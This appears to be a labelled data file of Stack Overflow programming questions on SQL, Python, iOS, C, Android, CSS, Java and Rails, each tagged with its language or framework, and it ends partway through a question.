mysql query order by listings that have been paid for  i m having a bit of trouble trying to write an sql query. i have a table for <code>listings</code>  now all i am trying to do here is make it so that listings that have been paid for will show up at the top of the results.    so say i am on province page and the province id is 23  i need to make the listings that have <code>upgrade_province</code>= yes  and <code>upgrade_status</code>= paid  and <code>id_province</code>= 23  show up as the first results ordered by date  and everything else below those ordered by date. if <code>upgrade_province</code>= yes  and <code>upgrade_status</code>= unpaid  then it needs to show that listing as a normal listing.    heres the table structure:   <pre><code>`id` int(11) not null auto_increment  `id_user` int(11) not null  `contact_email` varchar(255) not null  `price` varchar(255) not null  `title` varchar(255) not null  `title_slug` varchar(255) not null  `description` text not null  `id_province` int(11) not null  `id_city` int(11) not null  `map_address` varchar(255) not null  `id_type` int(11) not null  `id_contract` int(11) not null  `bedrooms` varchar(255) not null  `bathrooms` varchar(255) not null  `image_main` varchar(255) not null  `image_2` varchar(255) not null  `image_3` varchar(255) not null  `image_4` varchar(255) not null  `image_5` varchar(255) not null  `status` varchar(255) not null default  active   `upgrade_urgent` varchar(255) not null default  no   `upgrade_city` varchar(255) not null default  no   `upgrade_province` varchar(255) not null default  no   `upgrade_price` varchar(255) not null  `upgrade_status` varchar(255) not null default  unpaid   `num_views` int(11) not null default  0   `num_replies` int(11) not null default  0   `date_posted` int(11) not null  `date_upgrade` int(11) not null default  0   `mod_status` varchar(255) not null default  approved   </code></pre>   i can t seem to figure out how i can make it treat unpaid ads as normal even if their <code>upgrade_province</code>= yes,mysql
how to convert int to float in python   does anyone know how to convert <code>int</code> to <code>float</code>.    for some reason  it keeps on printing 0. i want it to print a specific decimal.   <pre><code>sum = 144 women_onboard = 314 proportion_womenclass3_survived = sum / np.size(women_onboard) print  proportion of women in class3 who survived is %s  % proportion_womenclass3_survived </code></pre>,python
combine multiple records in a table into one field in another table based on fields in a third table  i have three tables:   <pre><code>table 1:  pid  name  address   1    dale  blank  table 2:  pid  moid   1    12  table 3:  moid  address   12    123 main    12    12 south    12    99 north    </code></pre>   for output i need:   <pre><code>table 1:  pid  name  address    1    dawn  123 mian 12 south 99 north </code></pre>   how can i combine multiple addresses in table 3 into one address field in table 1 linking the two tables with information in table 2,sql
counting number of characters using textviewdidchange in ios  i have search this problem every where but i am not getting my result. i have set textview as delegate. i want to display the number of count in label  counter   can anyone tell me what is wrong with my code    <pre><code>- (void)textviewdidchange:(uitextview *)textview {       nsstring *substring = [nsstring stringwithstring:textview.text];     //if message has text show label and update with number of characters using the nsstring.length function     if (substring.length &gt; 0) {            self.counter.hidden = no;         self.counter.text= [nsstring stringwithformat:@ %d characters   substring.length];        }     //if message has no text hide label     if (substring.length == 0) {         self.counter.hidden = yes;     self.counter.text= [nsstring stringwithformat:@ %d characters   substring.length];     } } </code></pre>,ios
how to position uisearchbar scope buttons (uisegmentedcontrol) above the search bar   i am building a table view that provides two lists of data. the design calls for a uisegmentedcontrol at the top of the table. being able to search the table should be considered an optional feature (not dependent upon switching between the two lists).    i know that uisearchbar comes with the ability to specify scope buttons  but they appear below the search bar (and are more intended for filtering a search).    how can i position these buttons above the search bar,ios
gem client_side_validation in rails5 dont work  if user sign up   need validate  that username is unique by client side too.    <ul> <li>rails 5 beta 3 </li> <li>devisew</li> <li>gem client_side_validations</li> </ul>   in gemfile:    <pre><code>gem  client_side_validations   github:  davyjoneslocker/client_side_validations   :branch =&gt;  rails5  </code></pre>   <strong>client_side_validations.rb</strong>   <pre><code>actionview::base.field_error_proc = proc.new do |html_tag  instance|   unless html_tag =~ /^&lt;label/     %{&lt;div class= field_with_errors &gt;#{html_tag}     &lt;label for= #{instance.send(:tag_id)}  class= message &gt;#{instance.error_message.first}     &lt;/label&gt;&lt;/div&gt;}.html_safe   else     %{&lt;div class= field_with_errors &gt;#{html_tag}     &lt;/div&gt;}.html_safe   end end </code></pre>   <strong>model user</strong>    <pre><code>class user &lt; applicationrecord   # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   has_one :freelancer  dependent: :destroy   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable  :confirmable  :lockable    validates :username  uniqueness: true        end </code></pre>   <strong>registrations/new.html.erb</strong>   <pre><code>&lt;div class= devise_page &gt;   &lt;div class= title_line &gt;     &lt;div class= right &gt;       &lt;%= link_to  sign in   new_user_session_path %&gt;      &lt;/div&gt;     &lt;div class= title &gt;registration&lt;/div&gt;   &lt;/div&gt; &lt;div class= login_page &gt;   &lt;%= form_for(resource  as: resource_name  url: registration_path(resource_name)  validate: true  html: { class:  new_user } ) do |f| %&gt;     &lt;div class= item &gt;       &lt;label for= user_email &gt;e-mail&lt;/label&gt;       &lt;div class= field &gt;         &lt;%= f.email_field :email  autofocus: true  placeholder:  e-mail  %&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= item &gt;       &lt;label&gt;nickname&lt;/label&gt;       &lt;div class= field &gt;         &lt;%= f.text_field :username  placeholder:  nickname  %&gt;        &lt;/div&gt;     &lt;/div&gt;     &lt;div class= item &gt;     &lt;label&gt;password&lt;/label&gt;     &lt;div class= field &gt;       &lt;% if @minimum_password_length %&gt;         &lt;em&gt;(&lt;%= @minimum_password_length %&gt; characters minimum)&lt;/em&gt;       &lt;% end %&gt;&lt;br /&gt;       &lt;%= f.password_field :password  autocomplete:  off   placeholder:  password  %&gt;      &lt;/div&gt;     &lt;/div&gt;     &lt;div class= item &gt;     &lt;label&gt;password again&lt;/label&gt;     &lt;div class= field &gt;       &lt;%= f.password_field :password_confirmation  autocomplete:  off   placeholder:  password again  %&gt;     &lt;/div&gt;     &lt;/div&gt;       &lt;div class= buttons &gt;       &lt;%= f.submit  sign up   class:  button button_green  %&gt;       &lt;div class= links &gt;         &lt;%= link_to  forgot your password    new_password_path(resource_name) %&gt;           &lt;%= link_to  didn t receive confirmation instructions    new_confirmation_path(resource_name) %&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;% end %&gt;   &lt;/div&gt;   &lt;/div&gt; </code></pre>   if i input in field username not unique value  client side validation is not working.,ruby-on-rails
exit c# application from second form  how do i exit a c# application completely from the second form when the user presses the x button     this is my code so far:    <strong>form1.cs</strong>   <pre><code>    private void datagridview1_cellclick(object sender  datagridviewcelleventargs e)     {         if (e.columnindex == 1)         {             string cellvalue;             cellvalue = datagridview1[e.columnindex  e.rowindex].value.tostring();             var form2 = new form2(cellvalue);             this.hide();             form2.show();         }     }     protected override void onformclosing(formclosingeventargs e)     {         base.onformclosing(e);          if (e.closereason == closereason.windowsshutdown) return;          switch (messagebox.show(this   are you sure you want to exit        messageboxbuttons.yesno))         {             case dialogresult.no:                 e.cancel = true;                 break;             default:                 break;         }     } </code></pre>   <strong>form2.cs</strong>   <pre><code>protected override void onformclosing(formclosingeventargs e) {     base.onformclosing(e);      if (e.closereason == closereason.windowsshutdown) return;      switch (messagebox.show(this   are you sure you want to exit        messageboxbuttons.yesno))     {         case dialogresult.no:             e.cancel = true;             break;         default:             break;     } } </code></pre>,c#
how do i have just the date and not the time displayed along with it in a mysql table   i have a table containing records of the date and time each product was purchased. i need to export only the  date  leaving out the time into another column. how do i do this,mysql
change page / view in ios  i have written a function to login to a web service using objective c   <pre><code>- (void) registerack: (nsnotification *) notification {     nslog(@ detected callback for register );     nsstring *status = [[notification userinfo] valueforkey:@ result ];     if([status rangeofstring:@ successful ].location != nsnotfound){       //succesfully registered        uialertview *alert = [[uialertview alloc] initwithtitle:@ welcome                                                        message:@ thank you for registering. please login using the created details                                                       delegate:self                                             cancelbuttontitle:@ ok                                              otherbuttontitles:nil];       [alert show];        [[nsnotificationcenter defaultcenter] removeobserver:self];        nslog(@ %@   status); }  </code></pre>   i want to know how i would go about clearing the page and then when the user selects ok on my popup chaining the page to a different one     the clear page is easy  i would just write a method and then call this before alert[show] but the change of page is where i am stuck - can anyone let me know how i could redirect to a login page  programatically,ios
how to save a table (with its rows  columns and cells) in one single field in a sql database  how to save a table (with its rows  columns and cells) in one single field in a sql database and then display it on a webpage,sql
error when inserting multiple mysql foreign keys  when i try to insert the current table into my table in sql i get an error (products table):   <pre><code>create table parent(      barcode     int(9)      primary key (barcode) ) engine=innodb;  create table suppliedby(      onr         char(10)      orgnr       int(10)      date        date            not null                 primary key (onr)      foreign key (orgnr) references supplier(orgnr)                           on delete cascade                           on update cascade ) engine=innodb;  create table products(      onr     char(10)      barcode     int(9)      quantity    int(10)         default 0                         check (quantity &gt;= 0)      primary key (onr  barcode)      foreign key (onr) references suppliedby(ssn)                                 on delete cascade                                 on update cascade      foreign key (barcode) references parent(barcode)                                 on delete cascade                                 on update cascade )engine=innodb; </code></pre>   i get the following message:   <pre><code>#1005 - can t create table  .\db_project\#sql-b58_6d.frm  (errno: 150) </code></pre>   i m sure it has to do with the several foreign keys in this relation  i searched around on the internet  but can t find the solution.,mysql
sql iterate through results to check constraints  i m completely new to sql or even databases in general  so i m not sure if this is a sql-specific problem  but anyway here is what i have:    3 tables:     project   <pre><code>pid ... finished </code></pre>   project_actions   <pre><code>pid aid </code></pre>   actions   <pre><code>aid ... finished </code></pre>   in case it is a needed information:   <pre><code>pid = project id aid = action id one action can belong to &gt;=0 projects </code></pre>   now  i want to set the projects in the project table where all corresponding actions have been finished to finished.     the problem i m having is that i have absolutely no idea  how i can check all actions before actually updating an entry.<br> any help would be greatly appreciated.,sql
check if int is nil in obj-c  i know in c int cannot be nil  which brings me to ask this question. i am using a rails api that uses an int for a certain property (rating). this api call could return nothing for the rating because it doesn t have a rating yet.  i am using restkit to map the results of the api call.    maybe i should convert the int passed back from server api call to an nsnumber instead of an int  or can i check in int is nil some how,objective-c
pass javascript question mark operator multiple statements   i have a variable that i want to check if it is empty.  i want to know if i can pass multiple statements if the check is true or false  like:   <pre><code>var checkme =   ;  if(checkme ==   ){      checkme =  something new ;      do_this(); }else{      checkme =   ;      something_else(); } </code></pre>   but using the <code> </code> operator instead.  something like:   <pre><code>checkme ==      (checkme =  something new ) (do_this()) :                 (checkme =   ) (something_else()); </code></pre>   i hope you get what i mean by that.  i actually got something like that to work  but the console of the browser doesn t like it.  is there a way to properly do this  or do i need to write out the <code>if...else</code> statement,javascript
different app name in sharing menu  i m struggling finding the right keywords to achieve this.    i m basically trying to have a different app name in the sharing dialog from other apps  pretty much the same way pocket shows  add to pocket  instead of just  pocket .    any help would be greatly appreciated =) thanks,android
3 columns data to be converted to date wise like in pivot tables  i have data like this.   <pre><code>br     date        total 602    20160901     22 603    20160901     23 602    20160902     24 603    20160902     25 </code></pre>   i want out put like this.   <pre><code>br        date          20160901   20160902   tot 602     22         24          64 603     23         25          48 tot     45         49         102 </code></pre>   can anyone help me.,mysql
dynamic array with dynamic string.error reading characters of string  i need to create dynamic array of parents where lastname is dynamic. but i receive an error about error reading characters of string.   <pre><code>parent ** getparents(){     parent parent_in;     parent** parentsarray=null;     char answer;     int i  numofparents=0 fexit=0;      do     {         printf( do you wan t to enter parent  y/n\n );         flushall();         scanf( %c   &amp;answer);         if (answer ==  n )         {             fexit = 1;         }         else         {              parent_in.lastname = (char*)malloc(20 * sizeof(char));              parentsarray = (parent**)realloc(parentsarray  1 * sizeof(parent*));             parentsarray[numofparents] = (parent*)calloc(1  sizeof(parent));              printf( please enter the lastname and num of childrens\n );             scanf( %s %d   &amp;parentsarray[numofparents]-&gt;lastname  &amp;parentsarray[numofparents]-&gt;numofchildren);              numofparents++;             free(parent_in.lastname);         }     } while (fexit == 0);      return parentsarray; } </code></pre>   here is struct of parents:   <pre><code>struct parents{     char *lastname;     int numofchildren; }typedef parent; </code></pre>,c
why is adb hanging on me   adb as working fine for me right up until today.  now  when i try to run adb kill-server   adb just hangs.  if i set adb_trace to 1  i get <code>c:\users\jamie\appdata\local\android\android-sdk\platform-tools&gt;adb devices system/core/adb/adb.c::main():handling commandline() system/core/adb/adb_client.c::adb_query():adb_query: host:devices system/core/adb/adb_client.c::_adb_connect():_adb_connect: host:version</code>    then it just sits there.  i m out of ideas!,android
representing (32-n) with bit manipulation without  -  sign in c  so i am currently working on a project involving bit manipulation for class and one of the stipulations is that we cannot use the  -  sign for anything (for example instead of writing -1 i have to write ~0)    i want to do a right shift n-bits  but i can t do something like 5 >> (32 - n) because of the  -  sign and i am stumped on how to do it otherwise.    can someone enlighten me please,c
asp.net s equivalent of php s $_get and $_post   as thet title says.    i m new to asp.net  and i m sorta trying to build some ajax-stuff to learn.,asp.net
file_put_contents returns empty image  but text isn t empty   here is my code:    <pre><code>$img data:image/jpeg;base64 /9j/4aaqskzjrgabaqaaaqabaad/2w..........  file_put_contents( myimage.txt  $img);     file_put_contents( myimage.jpeg   base64_decode($img));   here is the output i get: 90kb myimage.txt file 0bytes myimage.jpeg file </code></pre>   i tested the text filehere: <a href= http://www.askapache.com/online-tools/base64-image-converter/  rel= nofollow >here</a> and it seems to be working.  thanks for the help!    apache 2.2.23,php
string was not recognized as a valid datetime in c#   i am write this code for date range filter in c# using linq.but getting like this error on server.in my local code working very well but deploy on server getting error.     here i have try this code:   <pre><code>string fromdate =  15-03-2017 ; string todate =  17-03-2017 ; datetime fromdate = convert.todatetime(fromdate); datetime todate = convert.todatetime(todate);                         userlist = db.users      .where(t =&gt; dbfunctions.truncatetime(t.datetime) &gt;= fromdate &amp;&amp; dbfunctions.truncatetime(t.datetime) &lt;= todate)      .orderbydescending(a =&gt; a.datetime)      .tolist(); </code></pre>   i don t know where is my mistke in this query any one know then please let me know how o resolve this issue.in local code working very well but on server getting error.,c#
how can i hide process for my application from task manager <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/187983/how-do-i-hide-a-process-in-task-manager-in-c >how do i hide a process in task manager in c# </a>    </blockquote>     i m developing a application for administrative purpose  it s developed completly but now i m stuck with hiding process from taskmanager  because my application monitor the users activity and send reports to admin  i have hide the application but i m not able to hide the process from task manager.,.net
entering date into database through three dropdownlists for day  month  and year  i am using three dropdownlists for day  month  and year simultaneously and concatenating their results to generate a string in format 12/12/1999. but as the database table s field type is datetime it does not support this format.,asp.net
good examples of model-view-controller  i m new to objective-c and the iphone and thought i was getting the hang of it until  after many play apps  i ran into a really basic problem around mvcs  nibs and ib. are there any really clear explained examples of how to follow this framework that i could go back to    <pre><code>@interface test1viewcontroller : uiviewcontroller {      iboutlet myview *myview;     iboutlet mymodel *mymodel; } </code></pre>   both the views and models are linked in by iboutlets but instantiating the model object either kills the application or produces an object which does not respond to any messages.     i am also unclear as to where to carry best out initialisations. i currently do this over viewdidload in the view controller. is there a standard way to do this and does the simulator actually always start up in the same way  should one use awakefromnib  does it make any difference if i use plain code or the ib  and if i have use the ib  should it include a model object     the mvc idea would make good sense for me here because i have potentially several views and view controllers all feeding back into - and sharing - one common central data model. any references or advance on this newbie problem would be more than welcome!,iphone
query to insert rows into a table based on another queries result  its like this. i have a proyects table and i want to create an entry into a second (task_groups) table for each proyect that i have.    like this:   <pre><code>select name keyid from proyects; </code></pre>   now for each result in the above query i want to do something like this.    <pre><code>insert into task_groups (name proyect advance) values ( task for proyect proyect.name    proyect.keyid   0 ) </code></pre>   where proyect.name and proyect.keyid are the values for each row resulting in the first query.    is it possible to write a query to get what i want,mysql
select  not working if model as been replaced - angularjs  i have a  select  input  something like this:   <pre><code>&lt;select ng-model= category.type &gt;     options... &lt;/select&gt; </code></pre>   in my application  i  watch  for changes in  category  and save it automatically. if save succeeded  the server returns with the saved category  and i assign it to $scope.category    the problem is this: 1. i open the dropdown   2. while the dropdown is opened  i save the category (because another change was made)  the save succeed  so i take the category returned from the server and assign it to $scope.category 3. then i make a selection in the dropdown. (click on one of the options and close it)    what i expect is that the new selection is saved to the new category. what actually happens is that the selection is ignored  the category.type does not change...    maybe a dropdown  remembers  the category from when it was opened  and since the category was replaced  the  remembered  one is no longer avaiable  do you guys have an idea how does it work  and how to work around this problem     thanks  eran    jsfiddle - <a href= http://jsfiddle.net/y5lw6/1/  rel= nofollow >http://jsfiddle.net/y5lw6/1/</a>    update - so  i guess the problem is with ng-repeat which  rebuilds  the select elements when the model is changed. maybe what i need to do is to wait with save if a select is opened  but  how do i know if a select is opened  and how do i know when it is closed...,angularjs
signal handler only handling first instance of a segfault  this is my signal handler:   <pre><code>void sig_segv_handler(int sig)  {   printf( this is the signal handler for sigsegv\n );    (void) signal(sigsegv  sig_ign);    siglongjmp(env  1);     } </code></pre>   my main() function:   <pre><code>int main() {    (void) signal(sigsegv  sig_segv_handler);    char * pattern =  a ;   unsigned int patlength = 1;   struct patmatch *locations;   unsigned int loclength = 5;    findpattern(pattern  patlength  locations  loclength);    return 0;  } </code></pre>   and my findpattern() function:   <pre><code>unsigned int findpattern(unsigned char *pattern  unsigned int patlength  struct patmatch *locations  unsigned int loclength) {      for (i=0; i&lt;max; i++) {       j = sigsetjmp(env  1);       temp = (char *) i;     printf( temp = %c\n   *temp);   } } </code></pre>   through extensive testing thanks to the use of printf() calls  i know that the program crashes on the printf( temp = %c\n   *temp);.  the first time this happens  my signal handler is called and runs normally (it prints out  this is the signal handler )  but the second time i get a segfault my program crashes and complains about a segfault.  why does it correctly get handled the first time but not the second time and beyond,c
printf bug in c  i m writing a status function but nothing except for the  tracked:  is printing out. can anyone see why  i m assuming that the  .index  file is just a line by line list of file names.   <pre><code>int git_status() {    file *check = fopen( .git/.index    r );   int count = 0;   char *pointer;   printf( tracked:\n\n );   while(fgets(pointer  sizeof(pointer)  check)){     strtok(pointer   \n );     printf( %s\n   pointer);     count++;   }   printf( \n%d is the number of files   count);   fclose(check); } </code></pre>,c
input:text alert parent class   my hover target is  #font-size input:text  of which in in my html code as seen below;   <pre><code>&lt;div id= font-type &gt;     &lt;input type= text  name= size-input  maxlength= 2  value= 12 &gt; </code></pre>   upon hovering over my text input field  i would like jquery to open up an alert box with it s parent id of  #font-type . i ve tried the following  but even without the  .parent()  section  the alert box just shows  object ;   <pre><code>var thisparent = $(this).parent(); alert(thisparent); </code></pre>   has anyone got any ideas as i m trying to minimize the code required for my page as there ll be more than one  input:text  of which i ll need to find the parent for.    best regards     tim,jquery
insert 20 objects ion array  i need to hv an array of 20 objects.    initially array will hv 0 objects. i hv add objbects 1 by 1 till it gets filled with 20 objects. as soon as array gets 20 objects and i try to insert a new object(for ex 21st object)    it should delete the 20th object and add itself to first position.    i hope i m giving u a clear picture about wat i am looking for.    hope for a quick reply    regards shishir,iphone
how does this code to move the app to the background work   i wanted a way to exit my app. hence i searched and found a piece of code which does that.<br> but i am not able to understand the code and why it does what it does.<br> can anyone please explain     here is my code:   <pre><code>intent intent = new intent(intent.action_main); intent.addcategory(intent.category_home); intent.setflags(intent.flag_activity_new_task); startactivity(intent); </code></pre>,android
need to clarify difference between element and index  so my understanding is this...   <pre><code>string[] banks = { b of a    chase    wells fargo }; </code></pre>   <strong>index:</strong> used as a reference to the actual place holder in the element s value of an array.    index 0 is  b of a     index 1 is  chase     index 2 is  wells fargo     <strong>element:</strong> used to define how many values there are in an array (not including 0). in other words  <code>index == element - 1</code> for example  this array has 3 elements:    element 1 is  b of a     element 2 is  chase     element 3 is  wells fargo     <strong>values:</strong> used to define what the actual variable type value is being held in the elements/indexes    the value of index 0 and element 1 is  b of a     the value of index 1 and element 2 is  chase     the value of index 2 and element 3 is  wells fargo     is this a correct interpretation  i want to make sure i m learning this correctly.   <hr>   my reason for asking  is to validate the question i got wrong on a test:    <a href= https://i.stack.imgur.com/bnqsk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bnqsk.png  alt= enter image description here ></a>,java
table row css background color won t change  i have the following css:   <pre><code>.tablestatic tbody tr { border-top: 1px solid #e7e7e7; } .tablestatic tbody tr:nth-child(even) { background-color:#f5f5f5; } </code></pre>   i want to change the background of certain  holiday  rows as follows   <pre><code>.tablestatic tbody tr { border-top: 1px solid #e7e7e7; } .tablestatic tbody tr:nth-child(even) { background-color:#f5f5f5; } .tablestatic tbody tr .holiday {background-color: #778899;} </code></pre>   how ever it doesn t work. the background color is changed but it is using #f5f5f5 instead of #778899    any pointers,css
sql random 4 rows with distinct column  i have table representing music tracks with columns id  artist  name  src  sample_start and level. i want to select random 4 rows but with distinct artists and specified level. the closest i got was this  but it s not random as max id is selected.    <pre><code> select * from tracks where level = :level and id in  (select max(id) from tracks group by artist)  order by rand() limit 4  </code></pre>,mysql
style sheet table class test everything works but cellborders have vanished  i m trying to replace an inline style with a style sheet    <pre><code>&lt;table width= 100%  border= 6  cellspacing= 3  cellpadding= 6   bgcolor= #d3b696  &gt; </code></pre>   with     with style sheet    <pre><code>.test {     text-align: center;     border-collapse: separate ;     width: 720px ;     border: ridge ;     border-width: 6px;     background-color: #d3b696 ;     border-spacing: 3px ;  padding: 6px; } </code></pre>   all works apart from cell borders have vanished,css
capture result from a function in c (cmd1 | cmd2)  let us say that cmd1 print something on stdout. how can i capture it with cmd1 in c such that cmd1 | cmd2 works.    i.e   <pre><code>cmd1{     fprintf(stdout   hello );     }  cmd2 : should take  hello  and only print  hel . </code></pre>,c
select rows within a certain range  i ve attempted to search but not sure i m getting the keywords correct for this.    i want to select rows in desc order that aren t the last 5 rows but the 5 before that!    so if i had 140 rows  i want rows 131-135.    the following ets me 136-140.   <pre><code>select id  title  content  date from tbl_news order by id desc limit 5 </code></pre>   how could i change the limit value to achieve 131-135     thanks.,mysql
defining a category in the same .h/.m files of another class  is it a good practice to define a category within the same .h/.m files of another class  i know it will build with no error and be exactly the same as if it was defined separately.    the main reason i want to do this is because i m working on an open source control and i want it to have a single .h/.m file.,objective-c
android tablayout tab icons  i have the following code to set android tablayout texts and images:   <pre><code>//first tab - home facebook updates         tablayout.addtab(tablayout.newtab()                 .settext( tab 1 )                 .seticon(r.drawable.fb_updates));         //second tab - instagram latest checkins         tablayout.addtab(tablayout.newtab()                 .settext(tab 2 ));                 .seticon(r.drawable.ic_location_on_white_24dp));         //third tab - events     tablayout.addtab(tablayout.newtab()             .settext( אירועים )             .seticon(r.drawable.ic_event_note_white_24dp)); </code></pre>   the code works great but for some reasons the tab icon appears above the tab text  instead of near the text. for example:    tab 1 <em>image</em>    tab 1 text    i need it to appeaer this way:    tab 1 image tab 1 text,android
how to include code as text in an html page  i m creating a webpage and i want to include code in the webpage. the problem i m having is that i can t figure out a way to indent lines of code without having lots of different tags.    for example if i wanted to display the code:    <pre><code>for (int i = 0; i &lt; 6; i++) {     for (int j = 0; j &lt; 5; j++) {         for (int k = 0; k &lt; 5; k++) {             //do something          }     } } </code></pre>   at the moment i m displaying it using <code>&lt;p class= tab1 &gt;</code> <code>&lt;p class= tab2&gt;</code>  etc. and in the css file using <code>.tab { margin-left: 40px; }</code>  <code>.tab { margin-left: 80px; }</code>  etc. but surely there is a simpler way to indent code on the webpage than having to make a separate css class for each indent  does anyone have any ideas  it would be much appreciated  thanks.,html
java integer.parseint() for 32-bit signed binary string throws numberformatexception  is this java api s bug    <pre><code>    int i = 0xd3951892;     system.out.println(i); // -745203566     string binstring = integer.tobinarystring(i);     int radix = 2;     int j = integer.valueof(binstring  radix );     assertions.assertthat(j).isequalto(i); </code></pre>   i expect it to be true without any question. but it throws below exception:   <pre><code>java.lang.numberformatexception: for input string:  11010011100101010001100010010010  at java.lang.numberformatexception.forinputstring(numberformatexception.java:65) at java.lang.integer.parseint(integer.java:495) at java.lang.integer.valueof(integer.java:556) at com.zhugw.temp.integertest.test_valueof_binary_string(integertest.java:14) </code></pre>   so if i have a binary string   e.g. 11010011100101010001100010010010  how can i get its decimal number（-745203566） in java  diy  write code to implement below equation     <img src= https://i.stack.imgur.com/y2od8.gif  alt= enter image description here >,java
dynamically set text on input submit button with angular <pre><code>&lt;input type= submit  value= create new order  /&gt; </code></pre>   how do i set the  value  attribute based on a $scope variable,angularjs
parsing xml data  i have the following xml data. how do i track the error tag in case of an invalid request or input       if it is possible then can you please provide me proper code for this      login request:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/ &gt;   &lt;soap:body&gt;     &lt;signin xmlns= http://tempuri.org/ &gt;   &lt;card_number&gt; 123/321 &lt;/ card_number &gt;    &lt;dob&gt;mm|dd|yyyy &lt;/dob &gt;     &lt;/signin&gt;   &lt;/soap:body&gt; &lt;/soap:envelope&gt; </code></pre>   response:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/ &gt;   &lt;soap:body&gt;     &lt;signinresponse xmlns= http://tempuri.org/ &gt;       &lt;user&gt;         &lt;user_id&gt;long&lt;/user_id&gt;         &lt;current_balance&gt;string&lt;/current_balance&gt;         &lt;card_iamge&gt;&lt;![cdata[string]]&gt;&lt;/card_iamge&gt;       &lt;/user&gt;     &lt;/signinresponse&gt;   &lt;/soap:body&gt; &lt;/soap:envelope&gt; </code></pre>   transaction history request:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/ &gt;   &lt;soap:body&gt;     &lt;transactionhistory xmlns= http://tempuri.org/ &gt;   &lt; user_id &gt;1/2 &lt;/ user_id &gt;       &lt;/transactionhistory&gt;   &lt;/soap:body&gt; &lt;/soap:envelope&gt; </code></pre>   response:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/ &gt;   &lt;soap:body&gt;     &lt;transactionhistoryresponse xmlns= http://tempuri.org/ &gt;       &lt;transactions&gt;         &lt;transaction&gt;   &lt;date&gt;&lt;![cdata[08/30/2010]]&gt;&lt;/date&gt;   &lt;amt&gt;$10.50&lt;/amt&gt;   &lt;card&gt;asyu763543&lt;/card&gt;       &lt;/transaction&gt;         &lt;transaction&gt;   &lt;date&gt;&lt;![cdata[08/30/2010]]&gt;&lt;/date&gt;   &lt;amt&gt;$10.50&lt;/amt&gt;   &lt;card&gt;asyu763543&lt;/card&gt;       &lt;/transaction&gt; &lt;transaction&gt;   &lt;date&gt;&lt;![cdata[08/30/2010]]&gt;&lt;/date&gt;   &lt;amt&gt;$10.50&lt;/amt&gt;   &lt;card&gt;asyu763543&lt;/card&gt;       &lt;/transaction&gt;       &lt;/transactions&gt;     &lt;/transactionhistoryresponse&gt;   &lt;/soap:body&gt; &lt;/soap:envelope&gt; </code></pre>   error:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/ &gt;   &lt;soap:body&gt;     &lt;*response xmlns= http://tempuri.org/ &gt;   &lt; error&gt; string &lt;/ error &gt;     &lt;/&lt;*response&gt;   &lt;/soap:body&gt; &lt;/soap:envelope&gt; </code></pre>,android
call a model method in a partial called from another model  i am having trouble calling a method in a partial. the method is defined in the isbn model. here s the set up:     contracts    <pre><code>has_many :isbns  :through =&gt; :istcs </code></pre>   isbns   <pre><code>belong_to :contracts </code></pre>   the isbn show view successfully displays the result of <code>roy_first</code>  an instance variable that s defined in the method:    <pre><code>&lt;% @isbn.roy_first.each do |hash| %&gt; &lt;% hash.each do |channel  roy| %&gt; &lt;%=  #{channel} 1st: £#{roy}  %&gt;  &lt;% end %&gt;&lt;% end %&gt; </code></pre>   as i say  <code>roy_first</code> is an instance variable defined in isbn.rb:    <pre><code>def sales_lookup_complete # a bunch of code...  @roy_first &lt;&lt; {channel_name =&gt; ra = df*(u/100)} end  </code></pre>   here s the isbns_controller show  if it s relevant:    <pre><code> @isbn.sales_lookup_complete </code></pre>   but when i try to call the same instance variable in an _isbn partial  i get an undefined method error. i get this error when i use a local or an instance variable.     my question: how do i call the same in a partial which is accessed from contracts > show.html.erb      the partial is called from the contracts show page like this:    <pre><code>&lt;%= render @isbns %&gt; </code></pre>   many thanks in advance.    here is some more code as requested:     the contracts controller show method:   <pre><code>  def show     @title = (@contract.contract_name +   s contract )     @istcs = @contract.istcs.paginate(:page =&gt; params[:page])     @isbns = @contract.isbns.paginate(:page =&gt; params[:page])       end </code></pre>   the isbns controller show method:    <pre><code>  def show     @isbn   = isbn.find(params[:id])     @title  = @isbn.descriptivedetail_titledetail_titleelement_titlewithoutprefix     @sales  = @isbn.sales.paginate(:page =&gt; params[:page] || 1)     @isbn.sales_lookup_complete   end </code></pre>   the contract show view:    <pre><code>&lt;h4&gt;isbns &lt;span class= add &gt;&lt;%= link_to  create isbn   new_isbn_path %&gt;&lt;/span&gt;&lt;/h4&gt; &lt;% unless @contract.isbns.empty  %&gt; &lt;table summary= contract isbns &gt; &lt;%= render @isbns %&gt;             &lt;/table&gt; &lt;% end %&gt; </code></pre>   the isbn show view:    <pre><code>&lt;table&gt;      &lt;tr&gt;&lt;h5&gt;royalties for all sales&lt;/h5&gt;         &lt;tr&gt;&lt;% @isbn.roy_first.each do |hash| %&gt;             &lt;td&gt;&lt;% hash.each do |channel  roy| %&gt;                 &lt;%=  #{channel} 1st: £#{roy}  %&gt;              &lt;/td&gt;&lt;% end %&gt;&lt;% end %&gt;         &lt;/tr&gt; &lt;/table&gt; </code></pre>   this is the bit that causes the error  in the partial called _isbn  and which is in the isbn views area  but called from the contracts show view:    <pre><code> id: &lt;%= 